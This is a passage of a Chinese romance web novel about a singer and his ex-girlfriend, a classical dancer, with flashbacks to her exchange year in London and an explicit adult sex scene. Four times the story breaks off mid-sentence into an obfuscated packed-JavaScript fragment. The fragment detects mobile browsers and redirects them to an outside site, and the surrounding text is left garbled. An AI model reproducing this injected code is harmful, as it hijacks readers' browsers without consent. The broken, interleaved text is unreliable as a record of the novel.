“时缈小姐,容我提醒你一句,我们已经分手六年了,你总不能要求一个分手六年的前男友还能跟你保持着六年前那样的默契程度吧?” 许钧闻一边故意拿话惹她,一边仔细看着时缈的脸色。 他觉得今天晚上的时缈看起来比之前都要顺眼很多,最起码不是那副每次见到他时都端着一副恰到好处的得体假笑的样子了。 时缈搁在膝盖上的手不由自主地握紧,指尖按在掌心上。 很显然,许钧闻这个态度就不是要和她好好聊聊的意思。 于是时缈决定不再继续绕弯子,既然许钧闻的话都说到这份上了,她也没有继续委婉地打哑谜的必要了。 “你今天为什么要说那种话?”时缈紧紧皱着眉头,“我不相信你不知道那些话被直播出去会造成什么样的影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404652|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响。” 顾梦瑶几乎是在看到直播的一瞬间就开始给她发微信。 尽管知道时缈直播还没结束不能随时随地查看私人消息,但顾梦瑶一直时不时地将直播间以及微博热搜上发生的一切总结转述给时缈。 虽然目前网友们还没有挖出许钧闻口中那个“先爱上的人”到底是谁,但很明显,这个未解之谜已经成为了大众关注的焦点。 “我们之前不是说好,要维持现状,不会暴露我们之间的关心的吗?” 许钧闻直视着她的目光,语气随意:“说好什么?谁跟你说好了。” “许钧闻!”时缈急了,“你说话不算话是吧?” 面对时缈的指控,许钧闻耸耸肩,表情仍旧是那副云淡风轻的样子,仿佛被挂在热搜上好几个小时下不去的那个人并不是他本人一样。 “什么叫‘说话不算话’,我们来捋一捋,一开始是你说会全力配合我,我问配合什么,你说配合不暴露我们之间的关系,我又问你我们之间是什么关系,你说什么关系都没有。” 许钧闻慢条斯理地开口,将两人之前的对话复刻了个七七八八:“你看,我哪一句话‘答应’不会在节目里提起自己的感情经历了?” “你……强词夺理!”时缈更生气了。 许钧闻一副“你能奈我何”的表情:“我只是还原一下事实。” “这样做对你有什么好处?” 时缈的态度软下来:“我只是一个素人,平时也不怎么玩社交媒体,就算被扒出‘是许钧闻前女友’最多也就是被周围的熟人缠着问几句,都不需要过一个月,恐怕过七天就不会再有人想起我这么一号人了。” “但你不一样啊,现在有多少人在看着你,有多少人在听你的歌、买你的专辑、追你的行程……” 说到这里,时缈顿了一下。 她的微博小号唯一的关注就是许钧闻,这六年里他出的每一张专辑、每一首单曲,她都听过。她熟悉他每一首歌的旋律,一如他们还在一起时那样。 但现在有很多人在听许钧闻的歌了,他的听众早就不是只有她一个了。 时缈知道他一定是花了很大的功夫,付出了很多的努力才走到这么多人的面前,让他们都能记住“许钧闻”这个名字。 她不忍心让这个名字因为她坠下神坛,从此和一些捕风捉影的感情八卦扯上关系。 “连我都知道你那些话说出去会在网上引起多大的轰动,我不相信你不知道。” 时缈叹了口气,目光越过空气,和他对视:“你到底是为什么呢?许钧闻。” “时缈,我努力到今天,不是为了成为多大的腕儿、拥有多大的咖位,而是为了将我的事业和命运完全掌握在我自己手里。因为六年前我就知道,如果我不够强大,不够有话语权,就永远没有办法将我想要的东西留在我的手里。” 许钧闻站起来,走近时缈,微微俯身,将她整个人笼罩进他投下来的影子里: “如果你非要我回答你的问题,也不是不行,我们来交换,一人一个问题。” “时缈,我想让你告诉我,你当年为什么一定要和我分手?” 27. 27首情歌 随着许钧闻的逼近,他身上熟悉的薄荷与橙花的香气逐渐入侵时缈的呼吸。 她下意识地想要后退,躲开这令她心惊的熟悉感。 可时缈忘记了,她此时正坐在许钧闻的床沿。 她向后一躲,整个人的重心忽然失衡,顷刻间就要向床面倒下去—— 许钧闻眼疾手快地伸手捞住她的肩,却被她后坠的力道带得向前倾去。于是许钧闻另一只手臂撑在床上,堪堪将两人的身形稳住。 “又躲什么。” “我又不会吃了你。” 时缈手臂屈着撑在床上,仰头自下而上看着许钧闻。 薄荷与橙花的味道彻底染到了她的身上,时缈只觉得自己像一只被琥珀包裹起来的幼虫,一点一点被属于许钧闻的味道层层包裹,直至她再也动弹不得。 真奇怪。 明明都说酒精会模糊人的感官。 可为什么,她却还是能够清晰地闻到许钧闻身上的气味,甚至能够听见他和自己逐渐同步的呼吸频率。 “别这么看着我。” 见她坐稳,许钧闻扣住她肩的手松开,转而挪到了她的眼睛上。 最后一点光线被许钧闻的手掌彻底盖住,时缈的视野一片漆黑,唯独眼睑上那抹热源格外清晰。 她甚至能够感觉到他指根处的茧紧密地覆在她薄薄的眼皮上。 黑暗会削弱人关于时间的感受。 不知道这个姿势维持了多久,直到某刻,终于,压制在她上方的气息稍稍撤去,时缈能够感觉到身旁的床垫微微下陷。 她一动都不敢动,甚至连眼睛都不敢转一下。 许钧闻的声音从侧边传来,带着一声淡淡地叹息:“你就认准了我总是会对你心软是吧。” “许钧闻。” 时缈轻声叫他的名字,强装出来的镇定几乎要被他这句话冲击得土崩瓦解。 时缈一直都知道。 她是他人生中为数不多的例外。 当年她才不得不和他提出分手—— 如果这段感情的维系需要以牺牲他刚有起色的事业为代价的话。 * 六年前。 英国,伦敦。 塔西莉亚古典舞团。 “今天真的超——级——累!” 洗完澡回到宿舍,时缈一头栽到床上,将半张脸蒙进被子里,任由湿漉漉的头发上的水珠渗进枕头里,晕染出一大片水渍,像误入了江南的梅雨时节,连她说话的声音变得闷闷的:“排练完之后整个人超级饿,但好在反正这边的食物我也吃不惯,就当减肥了。” 时缈絮絮叨叨地同许钧闻分享了她近期在英国古典舞团的生活近况,待她终于停下来,却迟迟没等到电话那边的人的回应。 “喂?” 时缈轻声,心里涌上一阵内疚:“你是不是很累啊,打扰到你睡觉了?” “没有。” 虽然话是这么说,但时缈听得出,许钧闻的声音里染着浓重的疲惫和睡意。 英国与国内的时差是七个小时。 她这边是晚间十点,夜幕刚刚降临,窗外车水马龙灯火通明。 而云京是凌晨四点,天光尚未破晓,街上冷冷清清空无一人。 “我在听呢。” 许钧闻似乎是躺在床上翻了个身,时缈听见了他没有完全掩藏好的一声哈欠。 “下次想吃什么了,我从国内给你寄。” “还是算了吧……”时缈的声音低落下去,“这边舞团对于身材的管控比在学校的时候严多了!而且……” 时缈的话音渐渐弱下去,将后半句话藏了回去。 “而且什么?” 而且……舞团里绝大多数白人对她们这些亚裔舞者并不友善。 她可不想让那些人揪到她的错处。 “没什么,就是想说,而且国际快递时间那么长,万一寄来之后都坏了吃不成了岂不是浪费。” 时缈提高语调,努力让自己听起来开心积极一些:“版权费赚得再多也不能乱花啊。” “是是,那可都是我将来娶你的老婆本,确实不能乱花。”许钧闻低声笑起来。 两人插科打诨地聊了一会儿,时缈的室友陆续回来,她便捂着话筒小声同许钧闻道别:“好啦,不说了哦,你再休息会儿吧,下次再约时间的时候还是国内的晚上吧,反正我们每天早课都要起很早,刚好晨训结束能接到你电话。” “没关系的,我也马上要起了,今天要去棚里录个小样。” 许钧闻的声音染着困意,听起来格外有磁性:“爱你,宝贝。” 时缈听得耳根一热:“爱你爱你。” 然后忙不迭地挂了电话。 “哟,又给男朋友打电话呢?(英)” 其中一位来自韩国的室友笑眯眯地调侃她:“不用否认哦,每次挂了电话都像一只开心的小蝴蝶似的,就肯定是在跟你国内的男朋友通电话咯。(英)” 时缈不好意思地嘿嘿一笑。 “真羡慕你啊,(英)”韩国室友一边擦头发一边感慨,“两年结束了就可以回中国了,不像我,还不知道要在这里熬到什么时候呢。(英)” 时缈脸上的笑意随着她的话,变得淡了一些。 是的。 尽管她们在舞团内目前受到的待遇都并不算好,但时缈起码还有一个盼头——她是作为云京舞蹈学院古典舞专业优秀学生被派来英国塔西莉亚古典舞团所属的英国塔西莉亚舞蹈学院交流学习的。 只要她在这里待满两年,在学院老师以及舞团老师们的手里拿到签字盖章的合格证明,她就可以回到中国,拿到云京舞蹈学院的毕业证,从此成为一个正式的科班出身的古典舞者。 而这位韩国室友却并非如此。 她是自己选择来英国追寻自己的舞蹈梦想,下了很大功夫才考入英国塔西莉亚古典舞团的,即便在这里受到了白人舞者们的排斥,但她仍然舍不得放弃。 “亲爱的,一切都会好起来的。(英)” 时缈实在不知道还能如何安慰她,只好干干地朝她一笑。 陆陆续续,另外几位室友洗漱完毕,回到宿舍。 不同于能够住双人间甚至是单间的首席舞者,她们这批新进舞团的亚裔姑娘们只能挤在这个只摆得下三张上下铺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426524|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连阳台都没有的逼仄小屋里。 但这样艰苦的住宿条件并不能磨灭年轻姑娘们骨子里对舞蹈的热爱。 “听说了吗,团里马上就要排新舞剧了!(英)” 睡在时缈上铺的女孩压低声音,却还是掩饰不住她语气里的兴奋:“听说这次的角色会在全舞团范围内筛选,自愿报名呢!(英)” “就算报名又如何?好角色什么时候轮得到我们?(英)”另一个声音有些不屑,“最终她们还是会选择那些‘自己人’。(英)” “但不试试怎么知道一定没机会呢?(英)” 提起这件事的姑娘的热情并没有被浇灭:“反正我要试试,Theresia你呢?你的条件那么好,专业功底也好,应该试试的,我觉得Vivian跳得都不如你!如果不是因为你是中国人的话,我想那个首席的位置肯定早就是你的了!(英)” 时缈抿了抿唇,笑着摆了摆手:“可别这么说,Vivian能成为首席自然是因为她优秀,我还差得远呢。不过如果真的面向全部舞团成员进行角色选拔的话,我也想试试看。(英)” 就像“不想当将军的士兵不是好士兵”一样。 没有任何一个舞蹈演员,不想成为舞台上被灯光和掌声环绕的首席舞者。 但时缈并没有对这场选角抱有太大的期望。 正如另一个女孩所言,如果真的有更好的机会,一定不会落在她们这些人的身上。 时缈翻了个身,将自己包裹进被子里,打开手机翻了翻这段时间和许钧闻的聊天记录。 因为那七个小时的时差,他们已经很久没有像之前在一起时那样好好聊过天了。 再加上许钧闻前不久正式以创作歌手的身份签约了经纪公司,事业逐渐有了起色,两人的对话框里上下两句话之间隔了好几个小时那都是常事,甚至有时候他们会忙到第二天才有空回复对方的消息。 如果说一点都不难过那肯定是不可能的。 身处异国他乡,周围各色皮肤的舞者们日常交流用的都是英语,时缈维度在和家人、朋友以及恋人通话的时候才能听见熟悉的中文。 而每当挂断电话之后—— 就像现在,她都会被巨大的孤独感所淹没。 但这种孤独感,时缈不能告诉任何人。 她不想让关心她的亲朋好友们担心。 在撑一撑吧。 她告诉自己。 时缈戴上耳机,熟练地点开自己手机上的音乐播放软件。 但她播放的并不是音乐app上被她点了一串小红心的,那个叫做“我喜欢”的歌单。 而是一个叫做“X”的歌曲清单。 这个清单里的音乐都是从时缈的手机内存里倒入的,很多音乐甚至都没有命名——名称那一栏只显示了一串英文与数字夹杂在一起的乱码。 她随机点开一首。 熟悉的音符流淌开来,将她因孤独而感到烦闷的情绪慢慢抚平。 再坚持一下。 时缈在黑暗中无声地跟着曲调哼唱。 一切都会好起来的,很快她就会回国和她所爱的人们团聚的。 28. 28首情歌 “你看,我就说吧,这次选角果然是在全团范围内海选的!(英)” 时缈的其中一位室友兴奋地拉住了时缈的手臂:“这次是Laurence先生亲自选人!这回那些傲慢的家伙总不能继续只手遮天了吧。(英)” 时缈望着那个穿着一看就价值不菲的定制西装坐在舞台下方第一排正中央金色头发的男人,有看了眼他周围,平日里趾高气昂的老师们此刻脸上都挂着谄媚的笑。 LaurenceThomas,英国古典舞剧圈有名的古典舞编剧,最年轻的伯努瓦舞蹈奖[1]最佳编剧获得者。 这一次,他受邀来为塔西莉亚古典舞团编排舞团成立100周年的周年大剧。 而他编排舞剧的条件之一就是他要对整个舞剧拥有绝对的主导权——这当然就包括编排舞剧最重要的一环,选角。 “亲爱的,我真的觉得这个机会你不能错过。(英)” 室友的眼睛亮晶晶地看向时缈:“Laurence先生的舞剧有启用亚裔演员出演主角的先例,以你的资质和专业能力,一定能够在这个舞剧中拥有一席之地的。到时候,挂在舞团剧院门口的巨幅海报上也会有你的照片,说不定你就会在国际古典舞届一炮而红了!(英)” 时缈倒是没有抱着“在国际古典舞届一炮而红”如此远大的梦想。 但她的确对于这次的选角会蠢蠢欲动。 LaurenceThomas,如此有名的古典舞编剧,以前只出现她课本上的人物,但凡是个专业古典舞演员,大概都期望着有朝一日能够和这样大师级别的人合作一个剧目吧。 况且,如果有LaurenceThomas的剧目做背书,她这学年也许能在塔西莉亚舞蹈学院的成绩单上多获得一点学分。 尽早修够学分,她也就能尽早回国了。 果不其然。 LaurenceThomas当着全舞团的面宣布了自己即将为新剧目挑选演员,并且表示这次选角面向全舞团的所有舞者,不限年龄、不限国籍,只要有意愿的都可以报名一试。 而这次选角的面试考核题目也没有那么多花里胡哨的弯弯绕绕—— 面试现场,LaurenceThomas会随机给出一段音乐,参与面试的舞者根据因为进行一段三分钟左右的自由发挥。 没有任何参考剧目。 也没有透露他将会选择什么风格的音乐。 一切全凭舞者的个人功力以及临场发挥。 轮到时缈上台,在进行了一个简单的自我介绍之后,时缈屏息凝神地站在舞台正中央,等待着Laurence播放音乐。 前奏如流水一般缓缓响起。 在认出音乐出处的时候,时缈微微一愣——《今夜星光灿烂》,著名歌剧《托斯卡》中的一首著名的咏叹调。 虽然她是古典舞专业,但对于比较出名的歌剧也略有涉猎。 《托斯卡》讲述了画家卡瓦拉多西和歌剧演员托斯卡之间的一个凄美动人的爱情故事。 时缈回忆起自己所了解的故事情节,将自己带入进女主人公托斯卡的内心世界,沉吟了一瞬,随着音乐起舞。 大概是因为她心里也有了一个非常重要的人,此刻再听这首咏叹调,时缈忽然对托斯卡这个人物有了更深切地理解。 一时间,她全身心地沉浸在自己的舞蹈当中,几乎忘记了自己正处在舞团面试的现场。 直到音乐片段的最后一个音符落下,舞台中央的时缈缓缓睁开眼,对上了LaurenceThomas赞许的目光。 “亲爱的,感谢你的这段舞蹈,为我带来了全新的灵感。(英)” Laurence那双灰绿色的眸子中闪烁着兴奋的光芒,他快步走上舞台,朝时缈伸出手:“相信我,你一定会通过这次的舞剧大放异彩的!你会成为古典舞界一颗冉冉升起的东方之星!(英)” “!!” 满座哗然。 这句话几乎就是在向众人昭告:时缈这个名不见经传的来自中国的交换生将会在LaurenceThomas的新作中出演一个角色。 而且,所有人都听得出来,这将会是一个非常重要的角色。 连时缈本人都被这句话背后隐藏的信息砸得头昏脑涨,懵懵地和Laurence握过手,凭借着肌肉记忆走下了台。 “你看!我就知道你能行的!(英)” 下台后,时缈才堪堪回过神,她的室友欢呼着围上来,为她激动:“宝贝,是金子总会发光的!这下就让Vivian她们羡慕去吧!(英)” 作为同被舞团内傲慢的白人演员们排斥的亚裔舞者,时缈的成功相当于打破了舞团一直以来隐隐存在的“阶级壁垒”,因此即便她们自己没有能够得到LaurenceThomas的额外关注,她们却依然感觉与有荣焉。 回到宿舍,时缈仰面躺在床上,回忆着这一下午发生的一切。 宛如做梦一样。 这境遇实在太过梦幻,时缈后知后觉地心跳加快。 她摸出手机,点开置顶的对话框: 「时缈:一个超级大的好消息!」 「时缈:之前给你讲过的那个超级牛掰的古典舞编剧来舞团为新剧目选角了!」 「时缈:他好像对我印象挺好的!」 「时缈:他还说我能成为古典舞界的“东方之星”!」 葱白纤细的手指在屏幕上飞快地敲击。 几行消息如炮.弹般在屏幕上弹出来。 换算到国内时间,这会儿应该刚过夜里十二点。 按照她对许钧闻平日里作息习惯的了解,这时候他应该还没有睡觉。 但时缈等了一会儿,还是没能等到许钧闻的回复。 晚训的时间快到了,时缈恋恋不舍地看了一眼毫无回音的对话框,伸了个懒腰换上了练功服。 等她再有时间看手机,已经是英国晚上八点多了。 微信右上方挂着小红点。 她靠坐在排练室的镜子前,汗都没来得及擦,忙不迭地点开了微信界面。 却发现收到的消息并不是来自许钧闻—— 选角结束后,她将自己似乎收到了业内大师青睐的消息告诉了许钧闻后,又忍不住给爸妈已经好闺蜜顾梦瑶发去了消息。 家庭群里的父母是最先回复她消息的: 「妈妈:我就知道,我家姑娘是最棒的![大拇指]」 「爸爸:恭喜女儿!排练再忙也要照顾好自己的身体,钱不够的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437969|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随时跟爸妈说啊,爸妈给你打钱。」 而后在她晚训期间,顾梦瑶也给她回了消息,比起父母质朴简短的关心,顾梦瑶的关心显得“聒噪”了很多: 「顾梦瑶:啊啊啊啊啊啊啊!」 「顾梦瑶:我就知道你一定可以!」 「顾梦瑶:你们剧团到时候公演我请假也要飞去现场支持你!!我要给你献花!!」 「顾梦瑶:转圈圈.gifx3」 可唯独,置顶的对话框安安静静,始终没有人回应。 时缈有些黯然地垂下了眼睛,看着自己的舞鞋,用力地眨了眨眼。 要兼顾经纪公司的工作和云京大学的学业,许钧闻应该很忙吧。 又或许是他又泡在房间里写新歌了,以往每次有了新灵感,埋头一写就是一整天的情况对于许钧闻来说简直是家常便饭。 一开始时缈联系不上许钧闻,还以为他是出了什么事,急匆匆地赶到许钧闻在校外租的小屋,才发现他戴着耳机抱着吉他,两耳不闻窗外事,一心只看面前的乐谱,甚至连下巴上冒出来的胡茬都没有功夫剃。 所以他可能是因为太忙了或是又沉浸在创作当中,才一直没有回复她消息的吧。 既然当初选择了报名交换生项目,选择了接受异国恋,现在这种孤独和寂寞都是她应该承受的代价。 人嘛,总不能既要、又要、还要的。 时缈很快就在心里为许钧闻找好了借口,极力忽视自己有些落寞的情绪。 “恭喜你啊,Shi,走大运了居然获得了LaurenceThomas的青眼。(英)” 一道略显油腻的男声拽回了时缈游离的思绪。 一个高大的身影停在时缈面前,居高临下地看着她,说话也阴阳怪气的:“没想到你居然有这个本事啊。” 时缈淡淡地看他一眼,拿起自己手边的水杯和毛巾就要离开。 “跟你说话呢,听不懂吗?中国妞?(英)” 当着舞团众多舞者的面被无视的男人面子上有些挂不住,伸手拦住时缈的去路,语气越发不善:“来了我们国家这么久,还没学会我们的语言吗?真不知道Laurence到底看上了你什么。(英)” “如果你对Laurence的决定有什么意见的话,你随时可以向他去反馈,而不是在这里拦住我回宿舍的路。(英)” 时缈的神色淡淡的:“Antonio,如果之前我的拒绝伤害到了你的自尊心,我已经向你表示过歉意了,我认为你没有必要继续在我这里找存在感。对你感兴趣的姑娘那么多,肯定不缺我一个,你觉得呢?(英)” 名叫Antonio的男生被时缈的话刺得面色涨红,上前两步就要伸手去抓时缈的肩。 “嘿哥们儿,放尊重一点。(英)” 忽然,一口正宗的伦敦腔从排练厅门口传来。 所有人应声望过去。 只见门口一个身形修长的中国男人抬了抬鸭舌帽,锐利的眉眼染着显而易见的不耐,尽管语气不善,但他仍保持着应有的涵养:“被女士戳中痛处之后就想动手动脚可不是英国绅士所为。(英)” “如果你再不离那位美丽的小姐远一些的话,我不介意叫叫你什么叫做‘尊重女性’。(英)” 29. 29首情歌 “你怎么来了?” 时缈抱着腿坐在沙发上,视线紧紧地黏在面前的人身上:“怎么也不提前说一声啊,万一跑空了怎么办?” “想给你一个惊喜啊,而且你不是说过,”许钧闻挑眉,走到她面前,揉了把时缈的发顶,“你每天除了学校就是舞团吗,我在这两个地方总能找到你。” 他痞气地挑了下眉,捏了捏她的耳垂:“除非……你是个小骗子,偷偷隐瞒了其他行程啊。” 时缈皱了皱鼻子,睨他一眼:“我才没有。” “那你呢,”她轻哼一声,“我不在的时候有没有其他女生跟你搭讪啊。” 问完,时缈又撇了撇嘴,傲娇道:“哼,肯定不少。” “确实。” 许钧闻煞有介事地点点头,摸出口袋里的手机,点亮屏幕放在她眼前:“” 他的屏幕壁纸赫然挂着她的照片。 而且是一张她没有见过的照片:画面里她趴在桌上,枕着手臂打盹,眉眼安静平和,颊侧的软肉因为枕着手臂的姿势而微微嘟起。 时缈不记得自己有拍过这样一张照片。 那么这张照片是如何得来的就显而易见了—— “嗯?”时缈一怔,伸手就要去抢他的手机,“你什么时候拍的!还不告诉我!” 许钧闻伸长手臂:“你猜?” 某次时缈陪他去上课,恰巧碰上的是金融法课程,教授在讲台上口若悬河慷慨激昂地给台下的学生们解释着信托合同,时缈打了个哈欠,环顾了一圈四周,发现原来云京大学这样的学霸聚集地也有学生上课玩手机、打瞌睡。 于是她索性恹恹地趴伏在桌上,用气声道:“昨天晚上饿得好晚都睡不着觉,我不行了,先眯一会儿啊。” “哦,万一你要是说梦话呢?”许钧闻低声调侃她。 时缈闭上眼睛:“不会的,我睡相很好的。” 然后便坦然地在课堂上小憩了起来。 或许是从未接触过的专业领域只是催眠效果太好,又或许是她前一晚的确睡得太晚早上又为了早课起了个大早,直到教授宣布下课,她仍保持着一开始的姿势,趴在桌上睡得极熟。 许钧闻也不着急,支着下巴看了她好一会儿。 阳光从她身后的窗户照进来,将她的发丝都染上一层薄薄的金色。 这是许钧闻第一次见熟睡中的时缈,她精致的眉眼此刻格外宁静,平时的灵动艳丽被睡意掩藏起来,整个人显得恬美又温柔。 舌尖不自觉地碾过齿尖,他感觉自己心底忽然用上一股破坏欲和占有欲。 像是看见了一张干净崭新的白纸,让他很想将它涂上自己喜欢的颜色,折成各种形状后再展开,每一道折痕都是它独属于他的证明。 静静看了一会儿,许钧闻掏出手机,对着时缈的睡颜。 “咔嚓”一声,将这个瞬间她的模样定格在他的相册中。 但这件事许钧闻从来没有告诉过时缈。 只有他自己知道,那一刻他的脑海中到底都想了些什么。 于是他将那些想法和这张照片一起藏起来,不希望时缈这么早就发现这个秘密。 时缈从沙发上跪直身子,伸手去够许钧闻手里的手机,却始终没能碰到手机的一角。 她的胜负欲忽然被激起,拉着许钧闻的手臂就要站起来。 皮质沙发内心柔软表面顺滑,时缈刚站起身,一个踉跄,重心不稳眼看着就要往前扑。 额头撞到许钧闻的肩上,磕在了他的骨头上,带来隐隐的痛意。 时缈被许钧闻单手揽进怀里,避免了她差一点就要脸朝下栽到地上的悲剧。 “这么着急投怀送抱啊?”许钧闻的调笑声在她头顶响起。 时缈此时的注意力却都在自己的掌心下—— 为了稳住身形,她抱住了许钧闻的腰。 这不是她第一次拥抱许钧闻,即使已经好几个月没有见过面,她却依然在搂住他的这一次敏锐地察觉到,许钧闻比之前瘦了不少。 虽然许钧闻的身材一直都保持得很好,在学校时也有运动、打球、健身的爱好,体重也时不时上下浮动的三五斤。 但之前时缈的脑海中从来没有这么精准地冒出这三个字:他瘦了。 时缈抬起头,目光中流露出心疼:“男朋友,你是不是瘦了?” 许钧闻挑眉:“是吗?没有吧。” “没有吗?但我就是觉得你瘦了。” 时缈蹙着眉,掌心按了按他的腰腹:“绝对瘦了,你少骗我。腹肌我都快要摸不到了。” “好吧,那可能确实有一点。” 见瞒不过她,许钧闻只好点头承认:“公司在筹备我的第一张专辑的主打歌MV录制了,需要我本人出镜拍摄,所以最近MV导演嘱咐我清淡饮食、加强锻炼,所以确实看上去瘦了一些。” “但是……” 许钧闻拖着调子,搂住她的手臂紧了紧,让时缈更紧密地贴着自己:“腹肌还在不在,光靠摸的肯定不准确,不如你亲眼确认一下。” 时缈漂亮的杏眼滴溜溜地一转,搂住许钧闻腰的手臂攀到他肩上。 她借力,他撑着她的腰帮她站直。 站在沙发上的时缈比许钧闻高出不少,她搭着他的肩,掌心下面按着他突起的肩骨,俯身去贴他的唇:“只能用眼睛看吗?” “那你还想怎么样?” 许钧闻任由她扇风惹火,声音染着欲气。 “那你猜呀。” 时缈用他之前的话回敬他。 分别许久,虽然嘴上不说,但心里不可能不想念的。 平时通话或视频的时候表现不出来,此刻实实在在地拥抱在一起的时候,交缠的呼吸比任何词句都更有说服力。 明明是时缈居高临下,可很快主动权就被许钧闻抢走。 他仰着头,圈住时缈的腰——她很瘦,瘦到他一条手臂就能够完全将她环抱住,贴在她腰侧的手掌摩挲着衣服下摆,掌心的温度透过布料熨帖着她的皮肤。 时缈感觉自己胸腔中的空气愈来愈稀薄,终于在他向下流连着吻住她脖颈的时候拥有了大口换气的机会。 秋季,气温开始下降。 锁骨暴.露在空气中,激得她打了个颤,模糊的神志渐渐清明了几分,搭在他肩上的手找回了仅剩的一丝力气,推了推他。 时缈含糊地抱怨:“还没洗澡。” “一起?” 他问。 “不要。”时缈轻哼一声。 她还没有和他一起洗过澡。 他们此前大部分时候都在许钧闻的出租屋里,那间屋子不算大,洗手间更是刻意为了蹭一个“干湿分离”的卖点噱头而将原本就逼仄的空间隔得更小。 别说站两个人了,时缈甚至怀疑如果是稍胖一些的租客,在淋浴间里转身都是件困难的事情。 许钧闻亲了亲她的下巴,那双潋滟多情的桃花眼眼尾染着一点飞红:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450998|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吧,那你先去。” 许钧闻的到来让她既惊喜又措手不及,时缈只顾着和他来到二人世界好好说说话,抵达酒店之后才想起没有带换洗衣物,但好在这家酒店的房间里有洗衣烘干一体机。 她将换下来的衣服塞进机器里,为了练功方便而挽成丸子头的长发散下来,乌黑的长发与光洁的脊背构成了一幅极具视觉冲击力的画面。 温热的水流从头顶洒下来,时缈闭上眼睛,沉浸在温暖的水汽里。 一阵细弱的凉气钻进来,时缈不用转身就知道有某个不速之客不请自来。 “不是说不要一起吗。” 时缈背对着他揉着发尾,声音被水流声冲散,混合着洗发水的泡沫打着旋儿流走。 “18号技师很荣幸为您服务。” 许钧闻的手掌按上她的颈窝,很快就被溅起的水滴打湿,他将时缈转过来,颇有耐心地为她松松因为每天练功而经常酸痛不已的肌肉。 “你是在哪儿学的?”时缈眯着眼睛看他。 “这位女士要是喜欢的话,下次来了还可以点我。” 他微微使了些力道,感受到她开始紧绷起来,在她脸颊侧面落下一个吻:“18号,记住了吗?” 时缈胡乱点点头,只觉得水温似乎越来越高,便伸手去找花洒开关。 一瞬间,更大的水流兜头而下,将她彻彻底底地淋了个透。 浴室里水汽袅袅上升,将他们两个严丝合缝地层层包裹,时缈紧紧攀住他的肩,感受到他肩头的骨头硌在她柔软的掌心里。 “许钧闻……” 她忽然有些想哭,哽咽着叫他。 “换一个。” “换个好听点的。” 他的手臂肌肉绷紧,露出流畅的线条。 许钧闻的确是瘦了,但似乎肌肉也更紧实了。 时缈像一尾搁浅在岸上的游鱼,摇摆着鱼尾,发出无人知晓的喟叹。 结束后,许钧闻仔仔细细为她擦干发丝上的水,将她打横抱起放在床上。 时缈仰头就想往洁白柔软的床铺里摔,却被他拉住坐好:“吹头发。” 时缈从小就没养成吹头发的习惯,晚上洗完头发立刻倒头就睡更是家常便饭。 在一起之后许钧闻提醒过几次,见她还是不往心里去,索性就将给她吹头发的工作主动包揽了下来。 时缈乖乖坐着,等许钧闻拿了吹风机,站在她面前给她吹头发。 温热的风烘在她头皮上,时缈眨眨眼,透过松散系着的浴袍带着,终于确认了一件刚才在浴室里没来得及确认的事:许钧闻虽然瘦了,但腹肌确实是一块都没少。 “困了?” 没听见她的动静,许钧闻轻声问。 “没有。” 时缈伸出手戳了戳他,感觉到拨弄着自己头发的手掌微妙地停顿了一瞬,她得意地勾了勾唇角。 “吃得消?” 许钧闻的语气听起来漫不经心。 但某个家伙在她手里的表现却远不如他面上那么淡定。 “吃一下试试就知道了。” 刚才那一回合她投降得太快,这一次时缈决定找回场子。 “行。” 许钧闻关掉吹风机,将它搁在旁边的床头柜上,重新看向她的眸子里压着浓郁的墨色,放任她的顽劣。 时缈认识这种神色,满意地收紧了些掌心,呼吸轻得像即将振翅的蝴蝶:“我请过假了,明天不用早起。” 30. 30首情歌 第二天时缈难得睡了个自然醒。 一睁眼就看见许钧闻一只手搂着她,另一只手里还拿着手机。 “在干什么?” 时缈说话时喉咙有些轻微的痛,声音也有一丝丝沙哑——显然是昨晚用嗓过度的缘故,听得她自己都忍不住有些耳热。 正所谓“小别胜新婚”。 昨晚两人折腾到半夜,最后一次去洗澡的时候时缈彻底没了力气,软着腿根扶着墙壁滑进浴缸里,迷迷糊糊地靠在浴缸壁上,等着许钧闻帮她清理。 